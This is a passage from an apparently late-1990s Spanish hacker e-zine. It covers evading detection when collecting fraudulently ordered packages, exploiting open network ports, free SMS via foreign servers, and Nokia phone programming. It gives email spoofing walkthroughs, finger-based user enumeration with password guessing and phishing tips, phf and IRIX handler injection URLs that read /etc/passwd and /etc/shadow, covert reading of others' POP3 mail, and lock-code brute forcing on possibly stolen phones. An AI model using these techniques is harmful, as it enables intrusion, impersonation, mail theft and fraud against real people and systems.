se da cuenta, y ES LO MAS SEGURO. RECOMENDADO!
Umm, si le pagas 500 pelas a un chavalillo, hasta el mismo te lo
puede traer, pero citalo en un sitio donde NO haya nadie, y observalo
de lejos no vaya a ser que lleve compa¤ia, me pillas?
JHumm!
CUARTO.
+++++++
Bien, eres UNIVERSITARIO? JORL! bien , bien , bien, amos a haserlo
mas fasil, los estudiantes universitarios suelen / solemos ( X'DD)
vivir en pisos de alquiler, USA esto para recojer tus paquetes,
los compa¤eros que te busques deben ser esporadicos, osea que
un mes aqui, otro alla, y con nombre falso, dni falso, umm direccion
falsa... Uff, cuanto mas falso tengas mejor..
Bene , bene! Pidelo a esa direccion, e intenta que te lo envien a
finales de mes, asi podras largarte a fin de mes, sin dejar sospechas.
O si te pillan en el piso y tienes confianzas con tus colegas diles
que llegaban cosas a esta direccion sin mas y que tu no tienes nada
que ver, pero como llegaban gratis pues nos lo quedamos...
Puedes pedir, segun te vayas experimentando en el tema mas cosas,
segun sea, pero CAREFUL, se cuidadoso, y otra cosa importante,
te puede servir para conseguir cartas de tus vecinos nuevos...
Ya sabes, lo tienes a guevo!
SALUTOS!
BYEZ SlimeLORD
eclipse GROUP
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq
Dado que hay muchos articulos sobre Unix y sobre que hacer una vez dentro de
un sistema, he escrito este que puede ayudarte a hacer lo mas importante,
entrar ....
pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq
5 - COMO APROVECHAR LOS PUERTOS DE UN SISTEMA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
o o
O CoMo aPRoVeCHaR LoS PueRToS De uN SiSTeMa O
o o
O GuyBrush O
o o
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
A.-INTRODUCCION
~~~~~~~~~~~~
Como todos sabeis, uno de los primeros pasos (por no decir el primero) a
la hora de buscar informacion sobre un sistema es hacer un escaneo de
puertos. Pero una vez hecho este, que aprovechamos realmente? mucha gente
solamente se fija en el puerto 23 (telnet) y si ve este cerrado ya lo toma
por imposible.
Con este texto quiero mostrar la gran utilidad de otros puertos tambien
importantes, bien para recopilar informacion, bien para hackear (aunque
no se disponga de acceso a la cuenta shell).
(El que no sepa que es esto de escanear puertos mejor que se lea antes
los numeros atrasados de RareGaZz).
B.-LISTADO DE LOS PUERTOS MAS IMPORTANTES
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Aunque ya han aparecido listados de puertos en otros numeros de este zine,
quiero volver a escribirlos para una mayor comodidad del lector; y asi,
poder tenerlos mas a mano.
Puerto Servicio Utilidad - [ o inutilidad :) ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
7 echo Lo que teclees se volvera a escribir
9 discard dev/null - basura
11 systat Informacion sobre los usuarios
13 Hora y fecha en el host remoto
15 netstat Informacion sobre la red
19 chargen Muchos caracteres ASCII. ^C para detenerlo
21 ftp Transferencia de ficheros
23 telnet Acceso al shell
25 smtp Correo saliente
37 time Hora en el host remoto
39 rlp Localizacion del recurso
43 whois Informacion sobre la red y el host
53 domain Nombre del servidor
70 gopher Buscador de informacion (ya anticuado)
79 finger Informacion sobre los usuarios
80 www Servidor de Web
109 pop2 Correo entrante
110 pop3 Correo entrante
119 nntp Grupos de noticias (news)
443 shttp Otro servidor de Web
512 biff Notificacion de correo
513 rlogin Login remoto
514 shell Comando remoto
515 spooler
520 route Protocolo de informacion routing
8000 http
8080 proxy
C.-ANALIZANDO ALGUNOS PUERTOS A FONDO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vamos a analizar la manera de sacar el mayor provecho a esos servicios
que encontramos disponibles cuando hacemos un escaneado de puertos.
"""""""""""""""""""""""
" PUERTO 15 (NETSTAT) "
" "
"""""""""""""""""""""""
- Utilidad
=-=-=-=-
Nos muestra una gran informacion sobre el sistema. Este puerto esta
destinado a hacer estadisticas sobre la red.
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Solo tienes que escribir 'netstat '. De todos modos, aqui
te pongo una peque¤a ayuda para que veas lo que se puede conseguir:
Parametros soportables:
? Ayuda de uso (algo parecido a esto, pero en
ingles) :)
-a Muestra todas las conexiones en cualquier
puerto
-e Estadisticas de la Ethernet. Esta opcion puede
ser combinada con '-s'
-n Muestra las direcciones y numeros de puerto de
forma numerica
-p protocolo Muestra las conexiones del protocolo 'tcp' o
'udp' especificado
-r Muestra el contenido de la tabla de enrutado
-s Estadisticas de los protocolos. Por defecto
estan el 'TCP', 'UDP' e 'IP', pero se pueden
especificar mas mediante el parametro '-p'
intervalo Muestra el resultado por paginas. Evita que se
te pierda la informacion por el scroll de la
pantalla
* Estilo hacker
-------------
Haz telnet al puerto 15 y preparate para recibir informacion. Lo
mejor es que redirijas la salida a un fichero y luego lo edites y
estudies tranquilamente.
"""""""""""""""""""
" PUERTO 21 (FTP) "
" "
"""""""""""""""""""
- Utilidad
=-=-=-=-
Supongo que todos sabreis que el FTP sirve para acceder a un ordenador
para coger / dejar ficheros. Es similar al acceso por telnet, pero con
muchas mas restricciones, como por ejemplo, no poder ejecutar ficheros.
Pero como tambien sabeis, presenta la ventaja de que en muchos sistemas
hay un usuario 'ftp' o 'anonymous' que te permite acceder libremente
poniendo como password 'guest' o tu nombre de usuario (Mmm mejor guest).
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Vamos a ver cuales son las ordenes que se pueden utilizar al hacer un
FTP:
HELP --> Muestra la lista de comandos disponibles. Los que
tienen un * al lado estan deshabilitados.
HELP comando --> Muestra ayuda de uso de ese comando.
USER --> Especificar un nombre de usuario.
PWD --> Especificar un password para el nombre de usuario
introducido anteriormente.
! --> Ejecutar ordenes de nuestro sistema sin salir del FTP.
Si por ejemplo escribimos '!dir *.*' (sin comillas)
veremos el contenido de nuestro disco duro (tener en
cuenta que pongo 'dir' si estoy bajo MS-DOS. Debemos
utilizar las ordenes de 'nuestro' sistema).
ACCOUNT --> Cuenta de usuario.
STORE --> Este comando hace que el servidor acepte los datos
transferidos y que los almacene en un fichero.
SUNIQUE --> Similar a STOR excepto que el fichero creado debe
tener un nombre unico para ese directorio.
APPEND --> Similar a STOR, pero si el fichero ya existe los
datos se almacenaran al final del archivo, sin
sobreescribir el fichero original.
CD --> Cambiar de directorio :)
CDUP --> Ir al directorio raiz ( = CD / ).
MKDIR --> Crear un directorio.
RMDIR --> Borrar un directorio vacio.
DELE / DELETE --> Borra un fichero del servidor.
LS --> Ver el contenido del directorio (igual que en Unix).
CHMOD --> Cambiar permisos de fiheros (igual que en Unix).
PWD --> Indica el directorio actual (igual que en Unix).
LCD --> Cambia el directorio local de trabajo.
QUIT / BYE --> Terminar la conexion.
TYPE modo --> Especifica el tipo de representacion de los
datos. El paremetro 'n' puede ser:
- ascii
- binary
- image
- ebcdic
- tenex
(Los parametros dependen del sistema).
PROMPT --> Activar /desactivar el modo interactivo. Nos
sirve para poder subir / bajar muchos ficheros
sin que nos pida conformacion cada vez.
GET --> Bajar un fichero.
PUT --> Subir un fichero.
MGET --> Similar a GET pero baja multiples ficheros (por
ejemplo: 'MGET /etc/passwd').
MPUT --> Similar a PUT pero sube multiples ficheros.
VERBOSE --> Activa / desactiva el modo verbose. Nos da mas
informacion sobre los comandos que ejecutamos.
MODE --> Especificar el modo de transferencia de datos. Los
modos posibles son:
S - Stream
B - Block
C - Compressed
RESTART --> Le indica al servidor el indicador de lugar en el
cual la transferencia de un fichero debe ser
continuada. Debe ir seguido de un comando apropiado
para que la transferencia continue.
RENAME --> Indica el nombre del fichero a renombrar.
BELL --> Suena el altavoz cada vez que acaba la ejecucion de
un comando.
SITE --> Este comando es usado por el servidor para proveer
servicios especificos al sistema que son esenciales,
pero no suficientemente universales para ser incluidos
como comandos en el estandar del protocolo.
SYSTEM --> Nos da informacion sobre el sistema operativo al
que estamos conectados.
STATUS --> Nos da informacion sobre el status del sistema.
Existen muchos mas comandos (dependiendo del sistema) pero estos son
los mas importantes (espero no haberme dejado ninguno).
* Estilo hacker
-------------
La forma de acceder es distinta, pero vamos a llegar al mismo sitio.
Podemos hacer telnet al puerto 21 y movernos por el sistema de forma
identica, con los comandos descritos anteriormente.
""""""""""""""""""""
" PUERTO 25 (SMTP) "
" "
""""""""""""""""""""
- Utilidad
=-=-=-=-
Podemos aprovecharlo de distintas formas, bien para enviar correo de
forma anonima, o si la version de 'sendmail' utilizada tiene bugs,
hasta puede que consigamos modificar el .rhosts de algun usuario (como
el root, por ejemplo) o conseguir el shadow del sistema.
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Solo has de cambiar la configuracion de tu programa de correo. Para
ello debes modificar el nombre del servidor de SMTP y las direcciones
de correo que tenemos en la identificacion de usuario y en el retorno
(reply-to address). Estos son los cambios:
POP3 Server: (no hace falta que lo modifiques)
SMTP Server: algun.servidor.de.smtp.com
POP3 Username: (no hace falta que lo modifiques)
E-mail address:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Reply-to address:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Lo que estamos haciendo es enviar correo como si fueramos el usuario
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
desde el servidor algun.servidor.de.smtp.com.
Al destinatario le aparecera mas o menos esto:
Return-Path: <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
Received: from algun.servidor.de.smtp.com ([208.156.39.193])
by su.servidor.de.smtp.com (Netscape Mail Server v1.1) with
SMTP id AAA13275 for <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>; Sun, 1 Feb
1998 17:45:27 +0100
Subject: Esto es un mensaje falso ...
From:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Reply-To:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
To:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Y aqui va el mensaje ...
Si te fijas en lo de abajo (a partir del subject), veras que le hemos
enviado un mensaje con un remitente que no somos nosotros. Pero si
miras mas arriba podras observar que aparece nuestra direccion IP.
Ohhh ... nos pillaron. Esto es debido a que el servidor que hemos
usado para enviar el correo (en este caso: algun.servidor.de.smtp.es)
refleja la IP de todo aquel que envia a traves de el. Para solucionar
esto debemos encontrar uno que no refleje la IP). Si miras en numeros
anteriores de este zine podras ver listados de servidores. Pero, si
deseas alguno que no conozca mucha gente, deberas probar 'a huevo'.
Date cuenta de que si escribes mal su direccion de correo nunca te
podras enterar, dado que la direccion de 'reply' es de otra persona,
o inexistente (como en este caso:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
... o puede
que exista X-D ).
* Estilo hacker
-------------
Si entras con telnet deberas utilizar unas determinadas ordenes para
moverte por el sistema. Esto tiene varias ventajas:
1) Cuando conectas te dice la version de sendmail (o cualquier otro
protocolo que utilice). Con lo cual puedes buscar en nuestra
seccion de bugs :D por si esa version tiene alguno (seguro que
si).
2) Una vez conectado puedes escribir HELO (o HELO user) con lo que el
te respondera con un mensaje de bienvenida, mostrandote o no, tu
direccion IP; en caso de que te la muestre ... busca otro (si tu
fin solamente era enviar correo falso - o fake mail).
3) No necesitas reconfigurar tu programa de correo :)
Para poder moverte por el sistema debes usar los siguientes comandos:
HELP --> Mensaje de ayuda (no esta disponible en todos los
sistemas).
HELO hostname --> En algunas versiones esto es necesario para
poder ejecutar el resto de comandos. En
'hostname' puedes poner cualquier cosa.
MAIL FROM: usuario --> 'usuario' es el remitente, el que
quieres falsificar.
RCPT TO usuario --> 'usuario' es el destinatario. A donde vas
a enviar el mail.
VRFY direccion --> Verifica el reparto de mail de una
direccion.
EXPN direccion --> Expone la direccion de una lista de correo.
DATA --> Nos permite escribir el texto a enviar. Acaba con un
punto.
RSET --> Interrumpe la transmision.
NOOP --> No hace nada. Sirve para ver si seguimos conectados
o no.
DEBUG nivel --> Fija el nivel de de debugging.
QUIT --> Terminar. Cerrar la conexion.
Si tu unica intencion es hacer fake mail, puedes usar algun programa
destinado a ello (hay muchisimos); incluso un mailbomber te serviria
(diciendole que solo deseas enviar uno). En estos programas solo has
de especificar:
Servidor de SMTP (muy importante que no refleje tu IP).
Direccion de correo del remitente (la falsa, claro).
Direccion de correo del destinatario (la victima).
Para hacer fake mail desde telnet haz lo siguiente: (lo que esta
seguido de numeros es la respuesta del servidor)
telnet microsoft.com 25
220 microsoft.com Microsoft Sendmail 1.0 ready at Sat, 2-1-98
HELO supercoco
250 Hello supercoco
MAIL FROM:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
250 <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> ...Sender OKay
RCTP TO:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
250 <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> ...Recipient OKay
DATA
354 Enter mail, end with "." on a line by itself
No no no!!! no me pienso ir se¤or Gonzalez!!!
.
250 Mail accepted
QUIT
221 microsoft.com closing connection.
""""""""""""""""""""""
" PUERTO 79 (FINGER) "
" "
""""""""""""""""""""""
- Utilidad
=-=-=-=-
Conseguir mucha informacion sobre usuarios. Cuando hacemos un finger
podemos obtener algo asi:
login datos personales tipo de shell
----- ---------------- -------------
victima Antonio Botella /bin/bash
last log 23 Feb (o, user never log)
Como ves, podemos llegar a conseguir sus datos personales, tipo de
shell que usa, ultima conexion que hizo, login (y direccion de correo),
... Esto puede servirte, entre otras muchas utilidades, para intentar
adivinar su password (ya que mucha gente usa contrase¤as tan simples
como su login, combinaciones de su nombre y apellidos, ...). O tambien
puedes usar algo de ingenieria social para obtener su contrase¤a, bien
enviandole un mail falso a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
'persuadiendole'
para que te de su password o puedes buscar su nombre en la guia y hacer
una llamada telefonica haciendote pasar por su proveedor de Internet.
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Puedes hacer usar la orden finger para solicitar la informacion
deseada:
finger
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
En algunos servidores podras hacer:
finger @su.servidor.com (sin especificar el usuario)
Asi te saldran todos los datos de los usuarios que estan conectados
al servidor en ese momento. Tambien puedes escribir:
finger
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Y obtendras ...
Si no conoces el login de ningun usuario puedes probar 'a ciegas' para
obtener alguno. Solo has de ir probando nombres, y si alguno de ellos
es un login o esta en los datos personales de algun usuario, te lo
mostrara. Si por ejemplo escribimos:
finger
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Puede que nos salga:
login datos personales tipo de shell
----- ---------------- -------------
juan J. Antonio Perez /bin/bash
last log 20 Feb
O tambien:
login datos personales tipo de shell
----- ---------------- -------------
jjose Juan Jose Sanchez /bin/csh
last log 2 Feb
Debes de tener muy en cuenta de donde es el servidor, porque si es uno
de Japon, no te servira de nada probar nombres espa¤oles o alemanes.
Los usuarios que suelen estar en todos los sistemas son: root, admin,
postmaster, webmaster, ...
* Estilo hacker
-------------
Para hacer esto por telnet has de especificar el puerto 79, de forma
similar o los casos anteriores. Una vez conectado, escribe el nombre
del usuario, una @, o un 0. Los resultados son los mismos que en la
forma newbie.
"""""""""""""""""""
" PUERTO 80 (WWW) "
" "
"""""""""""""""""""
- Utilidad
=-=-=-=-
Este servicio es el que nos permite ver las paginas Web. Nosotros
podemos aprovecharlo, mas que nada, para conseguir el shadow (mediante
los bugs del 'phf') o tambien para modificar el .rhosts de algun
usuario (consultar seccion de bugs & exploits).
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Puedes probar los bugs del 'phf' que aparecen en la seccion de bugs.
Este tipo de bug ya ha sido comentado en numeros anteriores de este
zine, pero lo volvere a escribir:
Para capturar el passwd:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd
Para capturar el shadow:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/shadow
Como no se pueden escribir ni espacios ni finales de linea (ENTER),
debemos escribir su codigo ASCII (el '0a' es el ENTER y el '20' es el
espacio, ambos en hexadecimal). Para indicar que es ASCII debemos
escribir antes un '%'. Si usas tu imaginacion podras ejecutar muchos
mas comandos del sistema que te podrian ser utiles para conseguir
mucha informacion.
* Estilo hacker
-------------
Accedes por telnet al puerto 80 y usas alguno de estos 3 comandos:
GET (consigue informacion del cliente al servidor).
PUT (pregunta al servidor si acepta la informacion como
reemplazo del objetivo).
POST (pregunta al servidor si acepta la informacion pasada
del cliente como una especificacion del objetivo).
Si no escribes la orden correctamente, te cerrara la conexion. Como
ves, esta bastante restringido, pero te sirve para explotar algunos
bugs de ese protocolo (HTTP/1.0).
Como ejemplo pondre un conocido (y antiguo) bug que funciona (si no
esta parcheado) en algunos sistemas IRIX:
GET /cgi-bin/handler/fichero_falso;cat /etc/passwd|?data=Download
El cgi-bin/handler permite la lectura y escritura de ficheros, pero
tiene un ligero problemilla que se le paso a sus programadores, y es
que cuando intenta abrir el fichero especificado (en este caso seria
'fichero_falso') y no lo encuentra (se supone que ese archivo no esta
en el sistema), ademas de darnos un mensaje de error, pasa a ejecutar
la seguiente instruccion que se encuentra (en este caso, el 'cat').
De este modo podremos ver el /etc/passwd del sistema. Tambien se
pueden utilizar otros comandos ademas del cat. Usa tu imaginacion.
Pero debes tener en cuenta que el script no admite espacios, por lo
que cada vez que necesites escribir uno, deberas usar el tabulador
(TAB).
"""""""""""""""""""""
" PUERTO 110 (POP3) "
" "
"""""""""""""""""""""
- Utilidad
=-=-=-=-
Leer el correo de algun usuario. Para ello has de tener el login y el
password, logicamente. Es ideal para espiar y recopilar importante
informacion (segun el usuario) sobre ese sistema u otro. O simplemente
para ver sus trapicheos con el intercambio de fotos guarras. ;)
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo Newbie
-------------
Solo has de cambiar la configuracion de tu programa de correo. Para
ello debes modificar tu login por el suyo y tu direccion de pop3 por
la suya. Y claro, usa su password. Debes realizarlos siguientes
cambios:
POP3 Server: mail.serverhackeado.com
SMTP Server: (no hace falta que lo modifiques)
POP3 Username: pardillo
Y cuando te lo pida, introduces el password del usuario en cuestion.
No olvides, antes de nada, configurar tu programa de correo para que
deje los mensajes en el servidor (en vez de borrarlos) ya que el
propietario de la cuenta podria darse cuenta de que le alguien le lee
el correo.
* Estilo hacker
-------------
Si eres un verdadero hacker puedes acceder al puerto 110 mediante
telnet, de forma similar a la que he indicado en los casos anteriores.
Si optas por esta opcion deberas conocer cuales son los comandos
necesarios para 'moverte' por el sistema.
Antes de nada debes especificar el nombre y la contrase¤a del usuario:
USER pardillo
PASS miClave (la del pardillo, claro!!!!!)
Si lo has hecho bien, ya estas dentro. Este protocolo no dispone de
ayuda, asi que no te molestes en escribir HELP. Pero para eso esta el
tito Guy, para decirte cuales son lo comandos que debes usar. De
todos modos, algunas versiones te muestran todos los comandos al
introducir algun caracter erroneo. No te dice para que sirve cada
orden pero por lo menos te muestra todas las disponibles.
STAT --> Nos dice el numero de mensajes que hay en el buzon y
el tama¤o en bytes que ocupan.
LIST --> Similar al anterior pero nos muestra el tama¤o de
cada mensaje (no en conjunto).
RETR num --> 'num' es el numero de mensaje que queremos leer.
Nos lo mostrara por pantalla.
TOP num nLin --> 'num' es, al igual que antes, el numero de
mensaje que queremos visualizar, y 'nLin' es
el numero de lineas que queremos que nos
imprima (por si no queremos verlo entero.
Tambien es util porque a veces el mensaje no
podemos verlo todo debido a que no cabe en
pantalla y con el scroll lo perdemos).
DELE num --> 'num' vuelve a ser el numero de mensaje. Con este
comando, lo borraremos. Cuidadin ...
RSET --> Chequea el buzon en busca de mensajes nuevos.
HOST dir --> 'dir' es la direccion del host al que quieres
acceder (creo).
LAST -->
MBOX file --> 'file' es el nombre de un buzon al que quieras
acceder (creo).
NOOP -->
QUIT --> Salir :)
Esto es todo ... otro dia seguiremos analizando mas puertos ;)
ÚÄÄÄÄÄÄÄÄÄ - - - ú ú ú ú ú
³ GuyBrush ú
ú
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
³
ú ú ú ú ú - - - ÄÄÄÄÄÄÄÄÄÙ
zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ
Quieres enviar Faxes por el morro? lee bien este articulo ...
zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ
6 - PHREAKING CELLULARS
~~~~~~~~~~~~~~~~~~~~~~~
--------------
| ------- |
| SMS-fax |
| -------- |
--------------
PHREAKING CELLULARS
--------------------------------
-Servidores SMS gratiX....
By SlimeLORD+
ECLIPSE GROUP
--------------------------cut------------------------------------------------
Hola again vuelvo de nuevo para sacar otro trukito pa la
mejor revista, ejem! la vuestra.
--------------------------cut------------------------------------------------
SECTION FILE, scanning...
AUTHENTIFICATION REQUIRED
login: *****
pass: *******
OK entered PENTAGONON
IP accesible confirmed
Wellcome Clinton! (SlimeLORD RuleZ)
Aqui llego de nuevo en esta serie de articulos para que
veais lo facil que podeis mandar tanto MENSAJES CORTOS
como FAXES a cualquier telefono del mundo a traves de
un telefon GSM que permita mandar datos...
En Espain cobran 5 duros por mandar un mensajito de estos
pero si usamos un servidor extranjero pues mira por donde,
no llegara ninguna facturilla jeje...
Aqui os pongo unos cuantos para disfrute vuestro:
x +3409090909 upS! este no vale, ya me lo habeis chaFao (T) (cobra)
v +352021100003 permite enviar tato FAXES como SMS, quizas tambien
permita -solo en GSM que lo soporten- enviar e-mails....
v +436640501 otro solo sms
v +27831000006 y otro...
v +420602909909 para mi el mejor CON DIFFERENCE , eficaz y el MAS
rapido de todos, pues ademas te da recibi de cuando ha llegado a
su destino y es gratiX.
Bueno hasta la proxima, intentare escribir mas tecnicamente....! UmmF!
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
------------------------cut--------------------------------------------------
Que hay hermanos?
Que les parecio el invento? Bueno no es nada con el articulo
que estoy escribiendo sobre telef- GSM NOKIA y MOTOROLA
para poder hacer diablras con ellos, solo que me gustaria
me hecharan un cable pues no dispongo de ellos y la
informacion solo es un poco una recopilacion de los mejores
trukitos para la makina, osea ke ... Bueno de todas formas las pondre
a vuestra disposicion para que la inserten donde quieran en
la revista, sin mas coordiales saludotes! desde la Spain!
Hare Chrisna!
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
----------------------cut----------------------------------------------------
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
Si tienes un Nokia, no hace falta que te mires el largo y aburrido manual,
esto es mucho mas interesante ...
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
7 - PROGRAMING CELLULARS
~~~~~~~~~~~~~~~~~~~~~~~~
--------------
| ------- |
| PROGRAMMING |
| -------- |
--------------
PROGRAMMING CELLULARS
--------------------------------
-Algunos Modelos NOKIA....
By SlimeLORD+
ECLIPSE GROUP
Hola gente, aqui os he reopilado alguna informacion para la gente de
NOKIA, si si, os muestro la forma de programar los moviles, para que
la gente pueda retocar las funciones y asi ahondar mas en las
"posibilidades" del movil, el autor de toda esta informacion mostrada
no se hace responsable, solo alega que es de proposito educacional,
y que cada cual la interprete de la mejor forma posible.
**************************************
* MODELO NOKIA/MOBIRA P4000 & PT612 *
**************************************
NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553
PROGRAMACION DE LA NAM:
1. Enciendelo.
2. Entra * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es codigo de seguridad
1 2 3 4 5 es el defecto de fabrica.
3. Si la entrada fue corecta pondra "IdEnt IF InFO Pri"
Saltate al paso 7 para programarla NAM 1, o completa de 4 - 6 para encender
la NAM 2.
4. Presiona SND para poner "IdEntif InFO OPT"
5. Pulsa END y pondra "OPt InFO diSAbLEd"
6. Pulsa SND y pondra "OPt InFO EnAbLEd"
7. Pulsa END, la primera entrada de datos aparecera.
8. SND se usa para cambiar parametros digitales solo.
9. Pulsa END para almacenar e incrementar cada paso.
10. En cualquier momento pulsa SEL CLR para salir del programa.
DATOS DE PROGRAMACION
PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION
01 00000 - 32767 HO-Id ID SYSTEM
02 0 OR 1 ACCESS MARCA MIN
03 0 OR 1 LOCL OPt LOCAL USE MARK
04 10 DIGITS Phonxx MIN (AREA CODE & TEL#)
05 08 ONLY St CLASS STATION CLASS MARK
06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS
08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES)
09 2 DIGITS grOUP Id GRUPO ID (10 EN USA)
10 5 DIGITS SECUrity CODIGO SEGURIDAD (DEJAR EN 12345)
11 8 DIGITS SERIAL NUMBER NO CAMBIAR
12 MM/DD/YY 1 dAtE NO CAMBIAR
13 MM/DD/YY 2 dAtE FECHA DE INSTALACION
*****************************
* MODELO NOKIA LX11 & M11 *
*****************************
NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553
PROGRAMACION DE LA NAM:
1. Enciendelo.
2. Pulsa * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es el codigo de seguridad
1 2 3 4 5 es por defecto de fabrica.
3. Si lo de arriba es correcto pondra "IdEnt IF InFO Pri"
Pasa al paso 6 para programar la NAM 1, o sigue 4 & 5 para cambiar a NAM 2.
4. Pulsa SND y pondra "OPt InFO diSAbLEd"
5. Pulsa SND y pondra "OPt InFO EnAbLEd"
6. Pulsa END, y saldra la primera entrada de datos.
7. Pulsa END para almacenar e incrementar cada paso.
8. La tecla SND cambia la opcion digital simple.
9. Pulsa SEL CLR para salir del programa habiendo seguido todos los pasos.
DATOS DE PROGRAMACION
PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION
01 00000 - 32767 HO-Id ID SYSTEM
02 0 OR 1 MIN Mark MARCA MIN
03 0 OR 1 LOCL OPt MARCA DE USO LOCAL
04 10 DIGITS Phonxx MIN (AREA CODE & TEL#)
05 08 ONLY St CLASS MARCA DE CLASE DE ESTACION
06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS
08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES)
09 2 DIGITS grOUP Id GRUPO ID (10 EN USA)
10 5 DIGITS SECUrity CODIGO SEGURIDAD
11 MM/DD/YY 1 dAtE NO TOCAR
12 MM/DD/YY 2 dAtE DATO DE INSTALACION
13 Prog done PULSA SEL CLR PARA SALIR
BLOQUEO: SEL LCK. DESBLOQUEO: Entra el codigo de 4 digitos.
SELECTOR DEL SISTEMA: SEL 1 luego 1 para scroll: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.
***************************
*MODELO NOKIA M10, TC2000 *
***************************
NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553
PROGRAMACION DE LA NAM:
1. Enciendelo.
2. Pulsa * 1 7 * 3 0 0 1 * L L L L *, donde LLLL es el codigo de bloqueo
por defecto de fabrica es 1234. Si no se sabe el codigo (robado?) prueba
a poner numeros de 4 cifras, haber si aciertas, pues tienes la
ventaja de que a la tercera oportunidad no te bloquea el movil....
3. Pulsa SEL para almacenar los datos y para moverte entre los nombres de
parametros y las entradas.
4. Pulsa CLR para corregir la entrada.
5. Pulsa END para abortar la programacion.
6. En cualquier momento pulsa SEL END para salir y completar la programacion
el telefono saldra solo si tocas con el puntero todos los parametros.
PROGRAMACION DE DATOS
PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION
01 00000 - 32767 HO-Id SYSTEM ID
02 0 OR 1 ACCESS METODO DE ACCESO (MIN MARK)
03 0 OR 1 LOCAL LOCAL USE MARK
04 10 DIGITS Phone N MIN (AREA CODE & TEL#)
05 08 ONLY CLASS STATION CLASS MARK
06 333 OR 334 PAGE ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd ACCESS OVERLOAD CLASS
08 2 DIGITS GrouP GROUP ID (10 IN USA)
09 4 DIGITS Loc CodE CODIGO DE BLQUEO
NOTE: Se sugiere que el codigo de bloqueo sea dejado 1234, o
los cuatro ultimas cifras del numero de telefono.
BLOQUEO: SEL LCK. DESBLOQUEO: Entra codigo de 4 cifras.
SELECTOR DEL SISTEMA: SEL 1 cuando 1 para moverte: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.
*********************
* MODELO NOKIA 121 *
*********************
Para entrar en el sistema de datos pulsa *60312#12345, y luego la tecla
M seguida de la localizacion de memoria 00 (cero, cero)
